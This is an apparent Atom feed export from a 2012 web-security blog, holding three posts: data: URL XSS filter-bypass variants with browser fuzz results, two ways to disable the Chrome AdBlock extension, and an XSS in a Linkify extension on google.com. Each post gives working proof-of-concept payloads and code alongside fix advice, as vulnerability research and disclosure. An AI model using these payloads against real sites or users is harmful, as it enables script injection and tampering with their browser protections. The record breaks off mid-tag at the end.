<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CU4GRXc-eyp7ImA9WhVUFEQ.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242</id><updated>2012-05-20T08:05:24.953+02:00</updated><category term="dialog" /><category term="parity" /><category term="html5" /><category term="bbcode" /><category term="firebug" /><category term="malware" /><category term="false" /><category term="doctrine" /><category term="events" /><category term="include" /><category term="chrome" /><category term="firefox" /><category term="encryption" /><category term="window" /><category term="e4x" /><category term="grep" /><category term="ede" /><category term="video" /><category term="email" /><category term="xss" /><category term="closures" /><category term="wget" /><category term="training" /><category term="niebezpiecznik" /><category term="tab" /><category term="facebook" /><category term="xml" /><category term="pki" /><category term="propel" /><category term="denied" /><category term="select" /><category term="mysql" /><category term="java" /><category term="multiuser" /><category term="talk" /><category term="webdav" /><category term="security" /><category term="openssl" /><category term="padding" /><category term="diff" /><category term="game" /><category term="oracle" /><category term="rest" /><category term="ui" /><category term="android" /><category term="tripledes" /><category term="escape" /><category term="zend framework" /><category term="flickr" /><category term="html" /><category term="signing" /><category term="tostring" /><category term="datetimeconvert" /><category term="pear" /><category term="hijack" /><category term="tree" /><category term="widget" /><category term="magic quotes" /><category term="cracow" /><category term="json" /><category term="google" /><category term="svn" /><category term="modal" /><category term="php5" /><category term="lint" /><category term="csrf" /><category term="3des" /><category term="obfuscation" /><category term="cryptography" /><category term="javascript" /><category term="cache" /><category term="iframe" /><category term="des" /><category term="eval" /><category term="option" /><category term="load" /><category term="websockets" /><category term="youtube" /><category term="sidejacking" /><category term="tumblr" /><category term="http" /><category term="demo" /><category term="sql injection" /><category term="mssql" /><category term="desede" /><category term="track" /><category term="python" /><category term="plugin" /><category term="analysis" /><category term="overloading" /><category term="owasp" /><category term="new pix" /><category term="clickjacking" /><category term="access" /><category term="everonia" /><category term="jsunpack" /><category term="addon" /><category term="readonly" /><category term="update" /><category term="share" /><category term="hack" /><category term="key" /><category term="tabs" /><category term="php" /><category term="crockford" /><category term="ajax" /><category term="deployment" /><category term="remote" /><category term="sqli" /><category term="freetds" /><category term="refresh" /><category term="ie" /><category term="clickjack" /><category term="regex" /><category term="jquery" /><category term="turing" /><category term="mdb2" /><category term="clone" /><category term="captcha" /><category term="datepicker" /><category term="hardening" /><category term="utf7" /><category term="upload" /><category term="history" /><category term="log" /><category term="search" /><category term="referrer" /><category term="server" /><category term="phar" /><category term="symfony" /><category term="ftp" /><title>the world. according to koto</title><subtitle type="html">on security, malware, cryptography, pentesting, javascript, php and whatnots</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.kotowicz.net/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>69</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/TheWorldAccordingToKoto" /><feedburner:info uri="theworldaccordingtokoto" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="license" type="text/html" href="http://creativecommons.org/licenses/by-nc-sa/2.0/" /><entry gd:etag="W/&quot;CkUARHw4fip7ImA9WhVQF08.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-8115564741264599372</id><published>2012-04-06T15:50:00.000+02:00</published><updated>2012-04-06T15:50:45.236+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-04-06T15:50:45.236+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>Fun with data: URLs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;a href="http://en.wikipedia.org/wiki/Data_URI_scheme" target="_blank"&gt;Data URLs&lt;/a&gt;, especially in their &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;base64&lt;/span&gt; encoding&amp;nbsp;can &lt;a href="http://blog.kotowicz.net/2011/10/piwik-151-multiple-xss-vulnerabilities.html" target="_blank"&gt;often&lt;/a&gt; be used for &lt;a href="http://html5sec.org/#50" target="_blank"&gt;anti XSS filter bypasses&lt;/a&gt;. This gets even more important in Firefox and Opera, where newly opened documents&amp;nbsp;&lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=255107" target="_blank"&gt;retain access to opening page&lt;/a&gt;. So attacker can trigger XSS with only this semi-innocent-link:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;a target=_blank href="data:text/html,&amp;lt;script&amp;gt;alert(opener.document.body.innerHTML)&amp;lt;/script&amp;gt;"&amp;gt;clickme in Opera/FF&amp;lt;/a&amp;gt;
&lt;/pre&gt;
or even use the base64 encoding of the URL:&lt;br /&gt;
&lt;pre name="code"&gt;data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+&lt;/pre&gt;
Chrome will block the access to originating page, so that attacker has limited options:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMql4/s1600/screenshot_01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMql4/s1600/screenshot_01.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
But what if particular XSS filter knows about &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; URIs and tries to reject them? We bypass, of course :)&amp;nbsp;I've been fuzzing &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;data:&lt;/span&gt; URIs syntax recently and I just thought you might find below examples interesting:
&lt;br /&gt;
&lt;pre class="text" name="code"&gt;data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera&lt;/pre&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
Here are full fuzz results for vector:&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;data:text,html;&amp;lt;before&amp;gt;base64&amp;lt;after&amp;gt;,[base64content]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Browser&lt;/th&gt;&lt;th&gt;Before (ASCII)&lt;/th&gt;&lt;th&gt;After (ASCII)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Firefox 11&lt;/td&gt;
&lt;td&gt;9,10,13,59&lt;/td&gt;
&lt;td&gt;anything&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Safari 5.1&lt;/td&gt;
&lt;td&gt;9,10,13,59&lt;/td&gt;
&lt;td&gt;anything&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chrome 18&lt;/td&gt;
&lt;td&gt;9,10,13,32,59&lt;/td&gt;
&lt;td&gt;9,10,13,32,59&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Opera 11.6&lt;/td&gt;
&lt;td&gt;9,10,13,32,59&lt;/td&gt;
&lt;td&gt;9,10,13,32,44,59&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Not a ground-breaking result, but it may come in handy one day for you, like it did for me. &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-8115564741264599372?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/GglDzdFdkYY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/8115564741264599372/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=8115564741264599372" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/8115564741264599372?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/8115564741264599372?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/GglDzdFdkYY/fun-with-data-urls.html" title="Fun with data: URLs" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMql4/s72-c/screenshot_01.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2012/04/fun-with-data-urls.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUGQXs6fyp7ImA9WhVQEEw.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-9205156794565266539</id><published>2012-03-27T15:48:00.000+02:00</published><updated>2012-03-29T11:10:20.517+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-29T11:10:20.517+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><category scheme="http://www.blogger.com/atom/ns#" term="chrome" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="addon" /><title>Chrome addons hacking: Bye Bye AdBlock filters!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s1600/icon128.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s1600/icon128.png" /&gt;&lt;/a&gt;&lt;/div&gt;
Continuing the Chrome extension hacking (see &lt;a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html" target="_blank"&gt;part 1&lt;/a&gt; and &lt;a href="http://blog.kotowicz.net/2012/02/chrome-addons-hacking-want-xss-on.html" target="_blank"&gt;2&lt;/a&gt;), this time I'd like to draw you attention to the oh-so-popular &lt;a href="https://chrome.google.com/webstore/detail/gighmmpiobklfepjocnamgkkbiglidom"&gt;AdBlock&lt;/a&gt; extension. It has &lt;b&gt;over a million users&lt;/b&gt;, is being actively maintained and is a piece of a great software (heck, even I use it!). However - due to how Chrome extensions work in general it is still &lt;b&gt;relatively easy to bypass&lt;/b&gt; it and display some ads. Let me describe two distinct vulnerabilities I've discovered. They are both exploitable in the newest 2.5.22 version.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;tl;dr: &lt;/b&gt;Chrome AdBlock 2.5.22 bypasses, demo &lt;a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html" target="_blank"&gt;here&lt;/a&gt; and &lt;a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html" target="_blank"&gt;here&lt;/a&gt;, but I'd advise you to read on.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;


Preparation&lt;/h2&gt;
If you want to analyze the extension code yourself, use my &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/download.php"&gt;download script&lt;/a&gt;&amp;nbsp;to fetch the addon from Chrome Web Store and read on:&lt;br /&gt;
&lt;pre class="brush:bash" name="code"&gt;// you need PHP with openssl extension and command line unzip for this
$ mkdir addons
$ php download.php gighmmpiobklfepjocnamgkkbiglidom AdBlock
&lt;/pre&gt;
Of course, you don't need to, but if you won't it makes me sad :/&lt;br /&gt;
&lt;h2&gt;






Small bypass - disabling filter injection&lt;/h2&gt;
Like many Chrome extensions, AdBlock alters the content of the webpages you see by modifying a page DOM. For example, it injects a &amp;nbsp;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;link rel=stylesheet&amp;gt;&amp;nbsp;&lt;/span&gt;that hides all ads with &lt;a href="http://en.wikipedia.org/wiki/Cascading_Style_Sheets"&gt;CSS&lt;/a&gt;. This all happens in &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;adblock_start_common.js&lt;/span&gt;:
&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;function block_list_via_css(selectors) {
  var d = document.head || document.documentElement;
//....
  // Issue 6480: inserting a &amp;lt;style&amp;gt; tag too quickly made it be ignored.
  // Use ABP's approach: a &amp;lt;link&amp;gt; tag that we can check for .sheet.
  var css_chunk = document.createElement("link");
  css_chunk.type = "text/css";
  css_chunk.rel = "stylesheet";
  css_chunk.href = "data:text/css,";
  d.insertBefore(css_chunk, null);
// ... and fill the node contents later on
&lt;/pre&gt;
Sweet &amp;amp; cool, right? But the problem is websites have &lt;a href="http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html"&gt;tons of ways&lt;/a&gt; to defend themselves from being altered. After all, it's &lt;i&gt;their&lt;/i&gt; DOM you're messing with. So, the easiest bypass would be to listen for anyone adding a stylesheet and removing it.&lt;br /&gt;
&lt;pre class="javascript" name="code"&gt;function block(node) {
    if (   (node.nodeName == 'LINK' &amp;amp;&amp;amp; node.href == 'data:text/css,') // new style
        || (node.nodeName == 'STYLE' &amp;amp;&amp;amp; node.innerText.match(/^\/\*This block of style rules is inserted by AdBlock/)) // old style
        ) {
        node.parentElement.removeChild(node);
    }

}
document.addEventListener("DOMContentLoaded", function() {
    document.addEventListener('DOMNodeInserted', function(e) {
    // disable blocking styles inserted by AdBlock
    block(e.target);
    }, false);
    
}, false);
&lt;/pre&gt;
In the effect the stylesheet is removed and the ads are not hidden anymore. &lt;b&gt;See in the &lt;a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/bypass.html" target="_blank"&gt;demo&lt;/a&gt;&lt;/b&gt;. This is similar to how many Chrome extensions work. Extension authors should remember that &lt;b&gt;you can't rely on page DOM to be cool with you, it can actively prevent modification. &lt;/b&gt;In other words, it's not your backyard, behave.&lt;br /&gt;
&lt;h2&gt;






Total bypass - Disable AdBlock for good&lt;/h2&gt;
The previous one was a kid's play, but the real deal is here. Any website can &lt;a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html" target="_blank"&gt;detect&lt;/a&gt;&amp;nbsp;if you're using Chrome AdBlock and disable it completely for the future. It is possible thanks to a vulnerability in a filter subscription page. Subscription code works by launching &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;chrome-extension://gighmmpiobklfepjocnamgkkbiglidom/pages/subscribe.html&lt;/span&gt; page. Here's what happens:&lt;br /&gt;
&lt;pre class="brush:js; highlight:[3,8,9]" name="code"&gt;// pages/subscribe.js
  //Get the URL
  var queryparts = parseUri.parseSearch(document.location.search);
  ...
  //Subscribe to a list
  var requiresList = queryparts.requiresLocation ?
      "url:" + queryparts.requiresLocation : undefined;
  BGcall("subscribe",
      {id: 'url:' + queryparts.location, requires:requiresList});

&lt;/pre&gt;
First, the query string for the page is parsed and than a subscription request is sent to &lt;a href="http://code.google.com/chrome/extensions/background_pages.html" target="_blank"&gt;extension background page&lt;/a&gt;&amp;nbsp;getting the location parameter. So, when extension launches&amp;nbsp;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;subscribe.html?location=http://example.com&amp;nbsp;&lt;/span&gt;this will subscribe to a filter from URL &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http://example.com&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
All neat, but what extension authors don't know, &lt;b&gt;standard web pages page can load your extension resources too&lt;/b&gt;. In the future, extension authors can limit this by using &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;a href="http://code.google.com/chrome/extensions/trunk/manifest.html#web_accessible_resources" target="_blank"&gt;web_accessible_resources&lt;/a&gt;&lt;/span&gt;, but for Current Chrome 17 it's not possible.&lt;br /&gt;
&lt;br /&gt;
So, what is the easiest way to disable Chrome AdBlock? Make it subscribe to a&amp;nbsp;&lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/adblock/list.txt" target="_blank"&gt;whitelist-all&lt;/a&gt;&amp;nbsp;list:
&lt;br /&gt;
&lt;pre class="js" name="code"&gt;&amp;lt;iframe style="position:absolute;left:-1000px;" id="abp" src=""&amp;gt;&amp;lt;/iframe&amp;gt;
//...
document.getElementById('abp').src = 'chrome-extension://'+addon_id + '/pages/subscribe.html?location=' + location.href.replace('disable.html', 'list.txt');
&lt;/pre&gt;
&lt;b&gt;See for yourself in the &lt;a href="http://koto.github.com/blog-kotowicz-net-examples/chrome-addons/adblock/disable.html" target="_blank"&gt;demo&lt;/a&gt;. &lt;/b&gt;&lt;br /&gt;
To reenable AdBlock functionality go to extension settings, choose the filter list &amp;nbsp;tab and disable the last added filter (&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;koto.github.com&lt;/span&gt; one).&lt;br /&gt;
&lt;br /&gt;
How to fix this in the code? &lt;b&gt;Don't rely on the URL of your extension resource to perform some action.&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-9205156794565266539?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/fyz_p7TUjdo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/9205156794565266539/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=9205156794565266539" title="16 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/9205156794565266539?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/9205156794565266539?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/fyz_p7TUjdo/chrome-addons-hacking-bye-bye-adblock.html" title="Chrome addons hacking: Bye Bye AdBlock filters!" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-OYUwK93L-6o/T3MNsBLxtgI/AAAAAAAAFKI/49w70ahzRjc/s72-c/icon128.png" height="72" width="72" /><thr:total>16</thr:total><feedburner:origLink>http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUQDSXo9eip7ImA9WhRaGEg.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-6860108852243940897</id><published>2012-02-21T20:42:00.004+01:00</published><updated>2012-02-21T20:42:58.462+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-21T20:42:58.462+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="chrome" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="addon" /><title>Chrome addons hacking: want XSS on google.com?</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
For a few days now I'm checking various Chrome extensions code looking for vulnerabilities (see also &lt;a href="http://blog.kotowicz.net/2012/02/intro-to-chrome-addons-hacking.html"&gt;the first post of the series&lt;/a&gt;). There are many. Most of them due to lazy programming (ignoring even the &lt;a href="http://code.google.com/chrome/extensions/content_scripts.html#security-considerations"&gt;Google docs&lt;/a&gt; on the subject), some are more subtle, coming from poor design decisions.&lt;br /&gt;
&lt;br /&gt;
As for the risk impact though, there are &lt;b&gt;catastrophic&lt;/b&gt; vulnerabilities. This is just a sample of what code is committed to &lt;a href="https://chrome.google.com/webstore/"&gt;Chrome Web Store&lt;/a&gt; and can be downloaded as a Google Chrome extension.&lt;br /&gt;
&lt;h2&gt;




How would you like an XSS on google.com?&lt;/h2&gt;
Chrome extensions can alter the contents of a webpage you're navigating (if they have the permission for the URL). In web security, what is the worst thing you might do when altering HTML document on-the-fly? Of course, &lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;XSS&lt;/a&gt;. Even if the page itself is totally safe from XSS, an addon might introduce it (it's similar to just entering&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; javascript:code()&lt;/span&gt;in address bar) and the page cannot possibly defend from it (&lt;a href="http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html"&gt;more or less&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
Google documentation about Chrome extensions &lt;a href="http://code.google.com/chrome/extensions/content_scripts.html#security-considerations"&gt;warns about this&lt;/a&gt; exact threat. But, as it turns out, seeing is believing, so there you go. Let me tell you about some minor extension (196 users as of now, which is the only reason why I'm 0daying now) that allowed me to XSS Google.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;



Meet Linkify&lt;/h2&gt;
&lt;a href="https://chrome.google.com/webstore/detail/lddlkekpgalmadkfkhfnckdgdmolknig"&gt;Linkify Code Review URLs for Google Reader&lt;/a&gt; is just what it says on the cover:&lt;br /&gt;
&lt;div&gt;
&lt;blockquote class="tr_bq"&gt;
&lt;i&gt;If you follow Chromium Code Reviews inside Google Reader, you do want the ability to click on a link. This extension is there for that. And just that.&lt;/i&gt;&lt;/blockquote&gt;
It upgrades link-like texts for a certain domain in Google Reader site to &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;a&amp;gt;&lt;/span&gt;nchors. How does it do it?&lt;br /&gt;
&lt;pre class="js" name="code"&gt;// manifest.json
{
"update_url":"http://clients2.google.com/service/update2/crx",
   "name": "Linkify Code Review URLs for Google Reader™",
   "version": "1.0.0",
   "description": "Does what it says",
   "content_scripts": [ {
      "all_frames": true,
      "js": [ "ba-linkify.min.js", "jquery-1.6.2.min.js", "content.js" ],
      "matches": [ "https://www.google.com/reader/*" ],
      "run_at": "document_start"
   } ]
}
&lt;/pre&gt;
It attaches 3 JS files from extension code into any document from https://www.google.com/reader . The main logic in those files is:
&lt;br /&gt;
&lt;pre class="js" name="code"&gt;window.addEventListener('DOMNodeInserted', handleEvent, false);

function browseAndLinkify(node) {
  if (!node) {
    return;
  }
  if (node.children &amp;amp;&amp;amp; node.children.length &amp;gt; 0) {
    $.each(node.children, function(index, element) {
      browseAndLinkify(element);
    });
  } else {
      if (node.innerHTML.indexOf('http://codereview.chromium.org/') &amp;gt; -1) {
        node.innerHTML = linkify(node.innerHTML);
     }
  }
}

function handleEvent(event) {
  browseAndLinkify(event.target);
}
&lt;/pre&gt;
So every node in the document, when its HTML contains 'http://codereview.chromium.org/', gets linkified (linkifying is converting &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http://anything&lt;/span&gt; to &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;lt;a href="http://anything"&amp;gt;anything&amp;lt;/a&amp;gt;)&lt;/span&gt;and reinserted it into the DOM using &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;innerHTML&lt;/span&gt;.

Which smells like XSS.&lt;br /&gt;
&lt;h2&gt;

Exploitation&lt;/h2&gt;
Manipulating any node in Google Reader to start with http://codereview.chromium.org and having the XSS payload bypassing linkify engine is very simple. In Google Reader search box just start searching for:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http://codereview.chromium.org/"onmouseover="if(!window.a){alert(document.domain);window.a=1}//" ddd&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
and mouseover. Or, even better, &amp;nbsp;visit this handy URL (of course, with the extension installed):&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://www.google.com/reader/view/#search/http%3A%2F%2Fcodereview.chromium.org%2F%22onmouseover%3D%22if(!window.a)%7Balert(document.domain)%3Bwindow.a%3D1%7D%2F%2F%22%20ddd/"&gt;https://www.google.com/reader/view/#search/http%3A%2F%2Fcodereview.chromium.org%2F%22onmouseover%3D%22if(!window.a)%7Balert(document.domain)%3Bwindow.a%3D1%7D%2F%2F%22%20ddd/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--vAvbaYevXc/T0Px2xgOF4I/AAAAAAAAE6U/tegnHkPmhlU/s1600/linkify.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="119" src="http://3.bp.blogspot.com/--vAvbaYevXc/T0Px2xgOF4I/AAAAAAAAE6U/tegnHkPmhlU/s320/linkify.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Voila! XSS on www.google.com&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;
Lessons to take&lt;/h2&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Google Extension authors&lt;/b&gt; - don't use &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;innerHTML&lt;/span&gt; with anything outside your control. Really!&lt;br /&gt;
&lt;b&gt;Users&lt;/b&gt; - pay attention to what you're installing.&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-6860108852243940897?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/rIDuYG5r5a4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/6860108852243940897/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=6860108852243940897" title="6 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/6860108852243940897?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/6860108852243940897?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/rIDuYG5r5a4/chrome-addons-hacking-want-xss-on.html" title="Chrome addons hacking: want XSS on google.com?" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/--vAvbaYevXc/T0Px2xgOF4I/AAAAAAAAE6U/tegnHkPmhlU/s72-c/linkify.png" height="72" width="72" 